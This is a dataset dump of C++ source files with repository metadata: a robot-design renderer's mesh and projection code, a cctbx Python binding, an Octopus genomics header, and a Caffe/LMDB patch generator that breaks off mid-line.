   model_view_matrix.topLeftCorner<3, 3>().inverse().transpose());\n  }\n  if (proc_texture_type_.dirty_) {\n    program.setProcTextureType(proc_texture_type_.value_);\n  }\n  if (object_color_.dirty_) {\n    program.setObjectColor(object_color_.value_);\n  }\n  if (dir_light_dir_.dirty_) {\n    program.setLightDir(dir_light_dir_.value_);\n  }\n  if (dir_light_proj_matrix_.dirty_) {\n    program.setLightProjMatrix(dir_light_proj_matrix_.value_);\n  }\n  if (dir_light_color_.dirty_) {\n    program.setLightColor(dir_light_color_.value_);\n  }\n  if (dir_light_view_matrices_.dirty_ || model_matrix_.dirty_) {\n    Eigen::Matrix<float, 4, Eigen::Dynamic> light_mv_matrices(\n        4, dir_light_view_matrices_.value_.cols());\n    for (int j = 0; j < light_mv_matrices.cols(); j += 4) {\n      light_mv_matrices.block<4, 4>(0, j) =\n          dir_light_view_matrices_.value_.block<4, 4>(0, j) *\n          model_matrix_.value_;\n    }\n    program.setLightModelViewMatrices(light_mv_matrices);\n  }\n  if (dir_light_sm_cascade_splits_.dirty_) {\n    // Shader only supports up to 5 shadow map cascades at the moment\n    // Only 4 splits are needed to describe 5 cascades, starting from index 1\n    program.setCascadeFarSplits(\n        dir_light_sm_cascade_splits_.value_.segment<4>(1));\n  }\n\n  proj_matrix_.dirty_ = false;\n  view_matrix_.dirty_ = false;\n  model_matrix_.dirty_ = false;\n  proc_texture_type_.dirty_ = false;\n  object_color_.dirty_ = false;\n  dir_light_color_.dirty_ = false;\n  dir_light_dir_.dirty_ = false;\n  dir_light_proj_matrix_.dirty_ = false;\n  dir_light_view_matrices_.dirty_ = false;\n  dir_light_sm_cascade_splits_.dirty_ = false;\n}\n\nvoid makeOrthographicProjection(float aspect_ratio, float z_near, float z_far,\n                                Ref<Eigen::Matrix4f> matrix) {\n  float z_range = z_far - z_near;\n  // clang-format off\n  matrix << 1 / aspect_ratio, 0, 0, 0,\n            0, 1, 0, 0,\n            0, 0, -2 / z_range, -(z_far + z_near) / z_range,\n            0, 0, 0, 1;\n  // clang-format on\n}\n\nvoid makePerspectiveProjection(float aspect_ratio, float z_near, float z_far,\n                               float fov, Ref<Eigen::Matrix4f> matrix) {\n  float z_range = z_far - z_near;\n  float tan_half_fov = std::tan(0.5f * fov);\n  // clang-format off\n  matrix << 1 / (tan_half_fov * aspect_ratio), 0, 0, 0,\n            0, 1 / tan_half_fov, 0, 0,\n            0, 0, -(z_far + z_near) / z_range, -2 * z_far * z_near / z_range,\n            0, 0, -1, 0;\n  // clang-format on\n}\n\nstd::shared_ptr<Mesh> makeBoxMesh() {\n  // clang-format off\n  std::vector<float> positions = {\n      -1, -1, -1, -1, -1, 1, -1, 1, 1, -1, 1, -1, // -X face\n      -1, -1, -1, 1, -1, -1, 1, -1, 1, -1, -1, 1, // -Y face\n      -1, -1, -1, -1, 1, -1, 1, 1, -1, 1, -1, -1, // -Z face\n      1, 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1,     // +X face\n      1, 1, 1, 1, 1, -1, -1, 1, -1, -1, 1, 1,     // +Y face\n      1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, 1};    // +Z face\n  std::vector<float> normals = {\n      -1, 0, 0, -1, 0, 0, -1, 0, 0, -1, 0, 0,     // -X face\n      0, -1, 0, 0, -1, 0, 0, -1, 0, 0, -1, 0,     // -Y face\n      0, 0, -1, 0, 0, -1, 0, 0, -1, 0, 0, -1,     // -Z face\n      1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0,         // +X face\n      0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0,         // +Y face\n      0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1};        // +Z face\n  std::vector<int> indices = {\n      0, 1, 2, 3, 0, 2,                           // -X face\n      4, 5, 6, 7, 4, 6,                           // -Y face\n      8, 9, 10, 11, 8, 10,                        // -Z face\n      12, 13, 14, 15, 12, 14,                     // +X face\n      16, 17, 18, 19, 16, 18,                     // +Y face\n      20, 21, 22, 23, 20, 22};                    // +Z face\n  // clang-format on\n\n  auto mesh = std::make_shared<Mesh>(GL_STATIC_DRAW);\n  mesh->setPositions(positions);\n  mesh->setNormals(normals);\n  mesh->setIndices(indices);\n  return mesh;\n}\n\nstd::shared_ptr<Mesh> makeTubeMesh(int n_segments) {\n  std::vector<float> positions;\n  std::vector<float> normals;\n  std::vector<int> indices;\n\n  // Define two rings of vertices\n  for (int i = 0; i < 2; ++i) {\n    for (int j = 0; j < n_segments; ++j) {\n      float theta = (2 * M_PI) * j / n_segments;\n      float pos[3] = {(i == 0) ? -1.0f : 1.0f, std::cos(theta),\n                      std::sin(theta)};\n      float normal[3] = {0, std::cos(theta), std::sin(theta)};\n      positions.insert(positions.end(), std::begin(pos), std::end(pos));\n      normals.insert(normals.end(), std::begin(normal), std::end(normal));\n    }\n  }\n\n  // Define triangles\n  for (int j = 0; j < n_segments; ++j) {\n    int idx_00 = j;\n    int idx_01 = (j + 1) % n_segments;\n    int idx_10 = n_segments + j;\n    int idx_11 = n_segments + (j + 1) % n_segments;\n    int idx[6] = {idx_00, idx_01, idx_10, idx_11, idx_10, idx_01};\n    indices.insert(indices.end(), std::begin(idx), std::end(idx));\n  }\n\n  auto mesh = std::make_shared<Mesh>(GL_STATIC_DRAW);\n  mesh->setPositions(positions);\n  mesh->setNormals(normals);\n  mesh->setIndices(indices);\n  return mesh;\n}\n\nstd::shared_ptr<Mesh> makeCapsuleEndMesh(int n_segments, int n_rings) {\n  std::vector<float> positions;\n  std::vector<int> indices;\n\n  // Define rings of vertices\n  for (int i = 0; i < n_rings; ++i) {\n    for (int j = 0; j < n_segments; ++j) {\n      float theta = (2 * M_PI) * j / n_segments;\n      float phi = (M_PI / 2) * i / n_rings;\n      float pos[3] = {std::sin(phi), std::cos(phi) * std::cos(theta),\n                      std::cos(phi) * std::sin(theta)};\n      positions.insert(positions.end(), std::begin(pos), std::end(pos));\n    }\n  }\n  // Define zenith vertex\n  float pos[3] = {1.0f, 0.0f, 0.0f};\n  positions.insert(positions.end(), std::begin(pos), std::end(pos));\n\n  // Define triangles for every ring except the last\n  for (int i = 0; i < (n_rings - 1); ++i) {\n    for (int j = 0; j < n_segments; ++j) {\n      int idx_00 = i * n_segments + j;\n      int idx_01 = i * n_segments + (j + 1) % n_segments;\n      int idx_10 = (i + 1) * n_segments + j;\n      int idx_11 = (i + 1) * n_segments + (j + 1) % n_segments;\n      int idx[6] = {idx_00, idx_01, idx_10, idx_11, idx_10, idx_01};\n      indices.insert(indices.end(), std::begin(idx), std::end(idx));\n    }\n  }\n  // Define triangles for last ring\n  for (int j = 0; j < n_segments; ++j) {\n    int idx[3] = {(n_rings - 1) * n_segments + j,\n                  (n_rings - 1) * n_segments + (j + 1) % n_segments,\n                  n_rings * n_segments};\n    indices.insert(indices.end(), std::begin(idx), std::end(idx));\n  }\n\n  // The positions and normals of points on a unit sphere are equal\n  auto mesh = std::make_shared<Mesh>(GL_STATIC_DRAW);\n  mesh->setPositions(positions);\n  mesh->setNormals(positions);\n  mesh->setIndices(indices);\n  return mesh;\n}\n\nstd::shared_ptr<Mesh> makeCylinderEndMesh(int n_segments) {\n  std::vector<float> positions;\n  std::vector<float> normals;\n  std::vector<int> indices;\n\n  // Define a ring of vertices\n  for (int j = 0; j < n_segments; ++j) {\n    float theta = (2 * M_PI) * j / n_segments;\n    float pos[3] = {0.0f, std::cos(theta), std::sin(theta)};\n    float normal[3] = {1.0f, 0.0f, 0.0f};\n    positions.insert(positions.end(), std::begin(pos), std::end(pos));\n    normals.insert(normals.end(), std::begin(normal), std::end(normal));\n  }\n\n  // Define a center vertex\n  float pos[3] = {0.0f, 0.0f, 0.0f};\n  float normal[3] = {1.0f, 0.0f, 0.0f};\n  positions.insert(positions.end(), std::begin(pos), std::end(pos));\n  normals.insert(normals.end(), std::begin(normal), std::end(normal));\n\n  // Define triangles\n  for (int j = 0; j < n_segments; ++j) {\n    int idx[3] = {j, (j + 1) % n_segments, n_segments};\n    indices.insert(indices.end(), std::begin(idx), std::end(idx));\n  }\n\n  auto mesh = std::make_shared<Mesh>(GL_STATIC_DRAW);\n  mesh->setPositions(positions);\n  mesh->setNormals(normals);\n  mesh->setIndices(indices);\n  return mesh;\n}\n\nstd::shared_ptr<Texture2D> loadTexture(const std::string &path) {\n  unsigned char *rgba_raw = nullptr;\n  unsigned int width, height;\n  unsigned int error =\n      lodepng_decode32_file(&rgba_raw, &width, &height, path.c_str());\n  std::unique_ptr<unsigned char[], decltype(std::free) *> rgba(rgba_raw,\n                                                               std::free);\n  if (error) {\n    throw std::runtime_error(\"Could not load texture from file \\\"\" + path +\n                             \"\\\": \" + lodepng_error_text(error));\n  }\n  return std::make_shared<Texture2D>(\n      /*target=*/GL_TEXTURE_2D, /*level=*/0, /*internal_format=*/GL_RGBA,\n      /*width=*/width, /*height=*/height, /*format=*/GL_RGBA,\n      /*type=*/GL_UNSIGNED_BYTE, /*data=*/rgba.get());\n}\n\n} // namespace robot_design\n", "meta": {"hexsha": "6cddaa492913e624bb870657df18e854221bffbb", "size": 22584, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "core/src/render.cpp", "max_stars_repo_name": "ONLYA/RoboGrammar", "max_stars_repo_head_hexsha": "4b9725739b24dc9df4049866c177db788b1e458f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 156.0, "max_stars_repo_stars_event_min_datetime": "2020-10-02T14:33:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-17T22:30:30.000Z", "max_issues_repo_path": "core/src/render.cpp", "max_issues_repo_name": "ONLYA/RoboGrammar", "max_issues_repo_head_hexsha": "4b9725739b24dc9df4049866c177db788b1e458f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 10.0, "max_issues_repo_issues_event_min_datetime": "2020-12-14T01:24:03.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-16T10:01:16.000Z", "max_forks_repo_path": "core/src/render.cpp", "max_forks_repo_name": "ONLYA/RoboGrammar", "max_forks_repo_head_hexsha": "4b9725739b24dc9df4049866c177db788b1e458f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 43.0, "max_forks_repo_forks_event_min_datetime": "2020-10-02T00:01:17.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-06T17:02:38.000Z", "avg_line_length": 38.2131979695, "max_line_length": 88, "alphanum_fraction": 0.6568366985, "num_tokens": 6245, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.6297746074044133, "lm_q2_score": 0.22000710486009023, "lm_q1q2_score": 0.1385548880894449}}
{"text": "#include <cctbx/boost_python/flex_fwd.h>\n\n#include <cctbx/xray/gradients_direct.h>\n#include <boost/python/class.hpp>\n\nnamespace cctbx { namespace xray { namespace structure_factors {\nnamespace boost_python {\n\nnamespace {\n\n  struct gradients_direct_wrappers\n  {\n    typedef gradients_direct<> w_t;\n    typedef w_t::scatterer_type scatterer_type;\n    typedef w_t::float_type float_type;\n\n    static void\n    wrap()\n    {\n      using namespace boost::python;\n      class_<w_t>(\"structure_factors_gradients_direct\", no_init)\n        .def(init<uctbx::unit_cell const&,\n                  sgtbx::space_group const&,\n                  af::const_ref<miller::index<> > const&,\n                  af::const_ref<scatterer_type> const&,\n                  af::const_ref<float_type> const&,\n                  scattering_type_registry const&,\n                  sgtbx::site_symmetry_table const&,\n                  af::const_ref<std::complex<float_type> > const&,\n                  std::size_t>())\n        .def(init<math::cos_sin_table<double> const&,\n                  uctbx::unit_cell const&,\n                  sgtbx::space_group const&,\n                  af::const_ref<miller::index<> > const&,\n                  af::const_ref<scatterer_type> const&,\n                  af::const_ref<float_type> const&,\n                  scattering_type_registry const&,\n                  sgtbx::site_symmetry_table const&,\n                  af::const_ref<std::complex<float_type> > const&,\n                  std::size_t>())\n        .def(\"packed\", &w_t::packed)\n        .def(\"d_target_d_site_frac\", &w_t::d_target_d_site_frac)\n        .def(\"d_target_d_u_iso\", &w_t::d_target_d_u_iso)\n        .def(\"d_target_d_u_star\", &w_t::d_target_d_u_star)\n        .def(\"d_target_d_occupancy\", &w_t::d_target_d_occupancy)\n        .def(\"d_target_d_fp\", &w_t::d_target_d_fp)\n        .def(\"d_target_d_fdp\", &w_t::d_target_d_fdp)\n      ;\n    }\n  };\n\n} // namespace <anoymous>\n\n}} // namespace structure_factors::boost_python\n\nnamespace boost_python {\n\n  void wrap_gradients_direct()\n  {\n    structure_factors::boost_python::gradients_direct_wrappers::wrap();\n  }\n\n}}} // namespace cctbx::xray::boost_python\n", "meta": {"hexsha": "0ef1f3799114ff8504820289680bc30fde373a9d", "size": 2157, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "cctbx/xray/boost_python/gradients_direct.cpp", "max_stars_repo_name": "rimmartin/cctbx_project", "max_stars_repo_head_hexsha": "644090f9432d9afc22cfb542fc3ab78ca8e15e5d", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": 155.0, "max_stars_repo_stars_event_min_datetime": "2016-11-23T12:52:16.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T15:35:44.000Z", "max_issues_repo_path": "cctbx/xray/boost_python/gradients_direct.cpp", "max_issues_repo_name": "rimmartin/cctbx_project", "max_issues_repo_head_hexsha": "644090f9432d9afc22cfb542fc3ab78ca8e15e5d", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": 590.0, "max_issues_repo_issues_event_min_datetime": "2016-12-10T11:31:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T23:10:09.000Z", "max_forks_repo_path": "cctbx/xray/boost_python/gradients_direct.cpp", "max_forks_repo_name": "rimmartin/cctbx_project", "max_forks_repo_head_hexsha": "644090f9432d9afc22cfb542fc3ab78ca8e15e5d", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": 115.0, "max_forks_repo_forks_event_min_datetime": "2016-11-15T08:17:28.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-09T15:30:14.000Z", "avg_line_length": 33.703125, "max_line_length": 71, "alphanum_fraction": 0.6147426982, "num_tokens": 530, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.2568319970758679, "lm_q1q2_score": 0.13842813695960116}}
{"text": "// Copyright (c) 2015-2018 Daniel Cooke\n// Use of this source code is governed by the MIT license that can be found in the LICENSE file.\n\n#ifndef haplotype_likelihood_model_hpp\n#define haplotype_likelihood_model_hpp\n\n#include <vector>\n#include <iterator>\n#include <cstddef>\n#include <cstdint>\n#include <algorithm>\n#include <functional>\n#include <memory>\n#include <stdexcept>\n\n#include <boost/optional.hpp>\n\n#include \"config/common.hpp\"\n#include \"basics/contig_region.hpp\"\n#include \"basics/cigar_string.hpp\"\n#include \"basics/aligned_read.hpp\"\n#include \"core/types/haplotype.hpp\"\n#include \"core/models/error/snv_error_model.hpp\"\n#include \"core/models/error/indel_error_model.hpp\"\n#include \"pairhmm/pair_hmm.hpp\"\n\n#include \"timers.hpp\"\n\nnamespace octopus {\n\nclass HaplotypeLikelihoodModel\n{\npublic:\n    using Penalty = hmm::MutationModel::Penalty;\n    \n    struct Config\n    {\n        bool use_mapping_quality = true;\n        boost::optional<AlignedRead::MappingQuality> mapping_quality_cap_trigger = boost::none;\n        AlignedRead::MappingQuality mapping_quality_cap = 120;\n        bool use_flank_state = true;\n    };\n    \n    struct FlankState\n    {\n        ContigRegion::Position lhs_flank, rhs_flank;\n    };\n    \n    class ShortHaplotypeError;\n    \n    using MappingPosition       = std::size_t;\n    using MappingPositionVector = std::vector<MappingPosition>;\n    using MappingPositionItr    = MappingPositionVector::const_iterator;\n    \n    struct Alignment\n    {\n        MappingPosition mapping_position;\n        CigarString cigar;\n        double likelihood;\n    };\n    \n    HaplotypeLikelihoodModel();\n    HaplotypeLikelihoodModel(Config config);\n    HaplotypeLikelihoodModel(std::unique_ptr<SnvErrorModel> snv_model,\n                             std::unique_ptr<IndelErrorModel> indel_model);\n    HaplotypeLikelihoodModel(std::unique_ptr<SnvErrorModel> snv_model,\n                             std::unique_ptr<IndelErrorModel> indel_model,\n                             Config config);\n    \n    HaplotypeLikelihoodModel(const HaplotypeLikelihoodModel&);\n    HaplotypeLikelihoodModel& operator=(const HaplotypeLikelihoodModel&);\n    HaplotypeLikelihoodModel(HaplotypeLikelihoodModel&&)            = default;\n    HaplotypeLikelihoodModel& operator=(HaplotypeLikelihoodModel&&) = default;\n    \n    friend void swap(HaplotypeLikelihoodModel& lhs, HaplotypeLikelihoodModel& rhs) noexcept;\n    \n    ~HaplotypeLikelihoodModel() = default;\n    \n    static unsigned pad_requirement() noexcept;\n    \n    bool can_use_flank_state() const noexcept;\n    \n    void reset(const Haplotype& haplotype, boost::optional<FlankState> flank_state = boost::none);\n    \n    void clear() noexcept;\n    \n    // ln p(read | haplotype, model)\n    double evaluate(const AlignedRead& read) const;\n    double evaluate(const AlignedRead& read, const MappingPositionVector& mapping_positions) const;\n    double evaluate(const AlignedRead& read, MappingPositionItr first_mapping_position, MappingPositionItr last_mapping_position) const;\n    \n    Alignment align(const AlignedRead& read) const;\n    Alignment align(const AlignedRead& read, const MappingPositionVector& mapping_positions) const;\n    Alignment align(const AlignedRead& read, MappingPositionItr first_mapping_position, MappingPositionItr last_mapping_position) const;\n    \nprivate:\n    std::unique_ptr<SnvErrorModel> snv_error_model_;\n    std::unique_ptr<IndelErrorModel> indel_error_model_;\n    \n    const Haplotype* haplotype_;\n    \n    boost::optional<FlankState> haplotype_flank_state_;\n    \n    std::vector<char> haplotype_snv_forward_mask_, haplotype_snv_reverse_mask_;\n    std::vector<Penalty> haplotype_snv_forward_priors_, haplotype_snv_reverse_priors_;\n    \n    std::vector<Penalty> haplotype_gap_open_penalities_;\n    Penalty haplotype_gap_extension_penalty_;\n    Config config_;\n};\n\nclass HaplotypeLikelihoodModel::ShortHaplotypeError : public std::runtime_error\n{\npublic:\n    using Length = Haplotype::NucleotideSequence::size_type;\n    \n    ShortHaplotypeError() = delete;\n    \n    ShortHaplotypeError(const Haplotype& haplotype, Length required_extension);\n    \n    const Haplotype& haplotype() const noexcept;\n    \n    Length required_extension() const noexcept;\n    \nprivate:\n    const Haplotype& haplotype_;\n    Length required_extension_;\n};\n\nHaplotypeLikelihoodModel make_haplotype_likelihood_model(const std::string sequencer, bool use_mapping_quality = true);\n\n} // namespace octopus\n\n#endif\n", "meta": {"hexsha": "2aa0581d0321a1878ff0fdc16f4c18d75f9a3b7c", "size": 4449, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_stars_repo_name": "gmagoon/octopus", "max_stars_repo_head_hexsha": "493643d8503239aead9c7e8a7f8bc19fb97b37d5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_issues_repo_name": "gmagoon/octopus", "max_issues_repo_head_hexsha": "493643d8503239aead9c7e8a7f8bc19fb97b37d5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_forks_repo_name": "gmagoon/octopus", "max_forks_repo_head_hexsha": "493643d8503239aead9c7e8a7f8bc19fb97b37d5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.9555555556, "max_line_length": 136, "alphanum_fraction": 0.737019555, "num_tokens": 1045, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2720245510940225, "lm_q1q2_score": 0.13813729442076927}}
{"text": "/* Output File Format:\n * 1st int: Number of classes\n * 2nd int: output feature vector length N\n * Follow P (unknown) patches:\n *      int object_id,\n *      float yaw, pitch, roll\n *      float x, y, z (in object coordinates)\n *      float[N] output vector\n */\n\n#include <iostream>\n\n#include <train_patch_generator.h>\n#include <glog/logging.h>\n#include <lmdb.h>\n#include <boost/algorithm/string.hpp>\n\n#include <cv.h>\n#include <highgui.h>\n#include <fstream>\n\n\nvoid train_patch_generator::generate_train_patches(){\n\n    //check caffe files\n    CHECK_GT(caffe_model_definition_filename_.size(), 0) << \"No caffe definition model defined.\";\n    CHECK_GT(caffe_model_weights_filename_.size(), 0) << \"No caffe weights model defined.\";\n\n    //caffe::Caffe::set_phase(caffe::Caffe::TEST);  // used with previous version of Caffe\n    caffe::Net<float> caffe_net(caffe_model_definition_filename_, caffe::TEST);\n    caffe_net.CopyTrainedLayersFrom(caffe_model_weights_filename_);\n\n    //create lmdb database\n    MDB_env* mdb_env;\n    MDB_dbi mdb_dbi;\n    MDB_txn* mdb_txn;\n    MDB_cursor* mdb_cursor;\n    MDB_val mdb_key, mdb_value;\n    CHECK_GT(input_lmdb_.size(), 0) << \"No lmdb input specified.\";\n    CHECK_EQ(mdb_env_create(&mdb_env), MDB_SUCCESS) << \"mdb_env_create failed\";\n    CHECK_EQ(mdb_env_set_mapsize(mdb_env, 1099511627776), MDB_SUCCESS);  // 1TB\n    CHECK_EQ(mdb_env_open(mdb_env,\n             input_lmdb_.c_str(),\n             MDB_RDONLY|MDB_NOTLS, 0664), MDB_SUCCESS) << \"mdb_env_open failed\";\n    CHECK_EQ(mdb_txn_begin(mdb_env, NULL, MDB_RDONLY, &mdb_txn), MDB_SUCCESS)\n        << \"mdb_txn_begin failed\";\n    CHECK_EQ(mdb_open(mdb_txn, NULL, 0, &mdb_dbi), MDB_SUCCESS)\n        << \"mdb_open failed\";\n    CHECK_EQ(mdb_cursor_open(mdb_txn, mdb_dbi, &mdb_cursor), MDB_SUCCESS)\n        << \"mdb_cursor_open failed\";\n    CHECK_EQ(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_FIRST),\n        MDB_SUCCESS) << \"mdb_cursor_get failed\";\n\n    //annotation file\n    std::ifstream fannot((input_lmdb_ + \"/patch_annotation_lmdb.txt\").c_str());\n    CHECK(fannot) << \"Cannot open annotation file: \" << input_lmdb_ + \"/patch_annotation_lmdb.txt\";\n\n    CHECK(output_file_.size() > 0) << \"No output file specified\";\n\n    //output file\n    std::ofstream fout(output_file_.c_str(), std::ios::out | std::ios::binary);\n    CHECK(fout) << \"Could not open output file \" << output_file_ << \" for writing.\";\n\n    //Get number of classes\n    int num_classes;\n    fannot >> num_classes;\n    //write number of classes\n    fout.write((char*)&num_classes, sizeof(int));\n\n    bool output_vector_length_written = false;\n    int num_patches = 0;\n    while(true){\n\n        bool data_end = false;\n        std::vector<Annotation> annot_vec;\n        std::vector<float> float_data;\n        for(int b=0; b<batch_size_; ++b){\n\n            //get patch from lmdb\n            caffe::Datum datum;\n            datum.ParseFromArray(mdb_value.mv_data, mdb_value.mv_size);\n            std::string key((char*)mdb_key.mv_data);\n            key.resize(13); //format: xxxx_yyyyyyyy -> x: obj number, y: patch number\n\n            //get annotation\n            Annotation annot;\n            CHECK(fannot >> annot.annot_key >> annot.yaw >> annot.pitch >> annot.roll >> annot.obj_x >> annot.obj_y >> annot.obj_z)\n                    << \"Couldn't read annotation. Maybe not enough entries?\";\n\n            CHECK_EQ(key, annot.annot_key) << \"annotation and database key mismatch\";\n\n            annot_vec.push_back(annot);\n\n            //normalize & copy patch to Net\n            //std::vector<float> float_data((unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n            int start = float_data.size();\n            float_data.insert(float_data.end(), (unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n            //apply same scale to the input as in training\n            for(int i=start; i<float_data.size(); ++i)\n                float_data[i] /= 255.0f;\n\n            if(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_NEXT) != MDB_SUCCESS){\n                data_end = true;\n                break;\n            }\n\n        }\n\n        if(data_end)\n            break;\n\n        if(use_gpu_)\n            caffe::caffe_copy(caffe_net.input_blobs()[0]->count(), &(float_data[0]), caffe_net.input_blobs()[0]->mutable_gpu_data());\n        else\n            caffe::caffe_copy(caffe_net.input_blobs()[0]->count(), &(float_data[0]), caffe_net.input_blobs()[0]->mutable_cpu_data());\n\n        //Get feature from Net - forward image patch\n        //output_blob[0]: contains the result\n        //output_blob[1]: contains the input\n        const std::vector<caffe::Blob<float>* > output_blob = caffe_net.ForwardPrefilled();\n\n        for(int b=0; b<batch_size_; ++b){\n\n            int feature_vector_length = output_blob[0]->count() / batch_size_;\n\n            //write vector length only once\n            if(!output_vector_length_written){\n                int output_vector_length = feature_vector_length;\n                fout.write((char*)&output_vector_length, sizeof(int));\n                output_vector_length_written = true;\n            }\n\n            //write annotation & feature vector\n            std::vector<std::string> object_id_str;\n            boost::split(object_id_str, annot_vec[b].annot_key, boost::is_any_of(\"_\"));\n            int obj_id = boost::lexical_cast<int>(object_id_str[0].c_str(), object_id_str[0].size());\n\n            fout.write((char*)&obj_id,  sizeof(int));\n            fout.write((char*)&annot_vec[b].yaw,     sizeof(float));\n            fout.write((char*)&annot_vec[b].pitch,   sizeof(float));\n            fout.write((char*)&annot_vec[b].roll,    sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_x,   sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_y,   sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_z,   sizeof(float));\n\n            for(int i=0; i<feature_vector_length; ++i){\n                float f = output_blob[0]->data_at(b, i, 0, 0);\n                fout.write((char*)&f, sizeof(float));\n            }\n\n//    //      visualize patches and output, works only with full network, i.e. full reconstruction\n//            cv::Mat rgb1(patch_size_, patch_size_, CV_8UC3);\n//            cv::Mat rgb2(patch_size_, patch_size_, CV_8UC3);\n//            for(int c=0; c<3; ++c){\n//                for(int h=0; h<patch_size_; ++h){\n//                    for(int w=0; w<patch_size_; ++w){\n//                        int idx = c*patch_size_*patch_size_ + h*patch_size_ + w;\n//                        rgb1.at<cv::Vec3b>(h, w)[c] = static_cast<unsigned char>(output_blob[0]->data_at(b, idx, 0, 0) * 255.0f);\n//                        rgb2.at<cv::Vec3b>(h, w)[c] = static_cast<unsigned char>(output_blob[1]->data_at(b, idx, 0, 0) * 255.0f);\n//                    }\n//                }\n//            }\n\n//            cv::resize(rgb1, rgb1, cv::Size(100, 100));\n//            cv::resize(rgb2, rgb2, cv::Size(100, 100));\n//            int k=-1;\n//            while(k==-1){\n//                cv::imshow(\"rgb1\", rgb1);\n//                cv::imshow(\"rgb2\", rgb2);\n//                k = cv::waitKey(30);\n//            }\n\n        }\n\n        num_patches += batch_size_;\n        std::cout << \"Training samples written: \" << num_patches << \"\\r\";\n\n\n    }\n    std::cout << std::endl << \"Finished!\" << std::endl;\n\n    //close lmdb database\n    mdb_cursor_close(mdb_cursor);\n    mdb_close(mdb_env, mdb_dbi);\n    mdb_txn_abort(mdb_txn);\n    mdb_env_close(mdb_env);\n\n    //close files\n    fannot.close();\n    fout.close();\n\n}\n\n\n\nvoid train_patch_generator::generate_train_patches_pixeltests(){\n\n    //create lmdb database\n    MDB_env* mdb_env;\n    MDB_dbi mdb_dbi;\n    MDB_txn* mdb_txn;\n    MDB_cursor* mdb_cursor;\n    MDB_val mdb_key, mdb_value;\n    CHECK_GT(input_lmdb_.size(), 0) << \"No lmdb input specified.\";\n    CHECK_EQ(mdb_env_create(&mdb_env), MDB_SUCCESS) << \"mdb_env_create failed\";\n    CHECK_EQ(mdb_env_set_mapsize(mdb_env, 1099511627776), MDB_SUCCESS);  // 1TB\n    CHECK_EQ(mdb_env_open(mdb_env,\n             input_lmdb_.c_str(),\n             MDB_RDONLY|MDB_NOTLS, 0664), MDB_SUCCESS) << \"mdb_env_open failed\";\n    CHECK_EQ(mdb_txn_begin(mdb_env, NULL, MDB_RDONLY, &mdb_txn), MDB_SUCCESS)\n        << \"mdb_txn_begin failed\";\n    CHECK_EQ(mdb_open(mdb_txn, NULL, 0, &mdb_dbi), MDB_SUCCESS)\n        << \"mdb_open failed\";\n    CHECK_EQ(mdb_cursor_open(mdb_txn, mdb_dbi, &mdb_cursor), MDB_SUCCESS)\n        << \"mdb_cursor_open failed\";\n    CHECK_EQ(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_FIRST),\n        MDB_SUCCESS) << \"mdb_cursor_get failed\";\n\n    //annotation file\n    std::ifstream fannot((input_lmdb_ + \"/patch_annotation_lmdb.txt\").c_str());\n    CHECK(fannot) << \"Cannot open annotation file: \" << input_lmdb_ + \"/patch_annotation_lmdb.txt\";\n\n    CHECK(output_file_.size() > 0) << \"No output file specified\";\n\n    //output file\n    std::ofstream fout(output_file_.c_str(), std::ios::out | std::ios::binary);\n    CHECK(fout) << \"Could not open output file \" << output_file_ << \" for writing.\";\n\n    //Get number of classes\n    int num_classes;\n    fannot >> num_classes;\n    //write number of classes\n    fout.write((char*)&num_classes, sizeof(int));\n\n    bool output_vector_length_written = false;\n    int num_patches = 0;\n\n    int feature_vector_length = 0;\n\n    while(true){\n\n        bool data_end = false;\n        std::vector<Annotation> annot_vec;\n        std::vector<float> float_data;\n        for(int b=0; b<batch_size_; ++b){\n\n            //get patch from lmdb\n            caffe::Datum datum;\n            datum.ParseFromArray(mdb_value.mv_data, mdb_value.mv_size);\n            std::string key((char*)mdb_key.mv_data);\n            key.resize(13); //format: xxxx_yyyyyyyy -> x: obj number, y: patch number\n\n            //get annotation\n            Annotation annot;\n            CHECK(fannot >> annot.annot_key >> annot.yaw >> annot.pitch >> 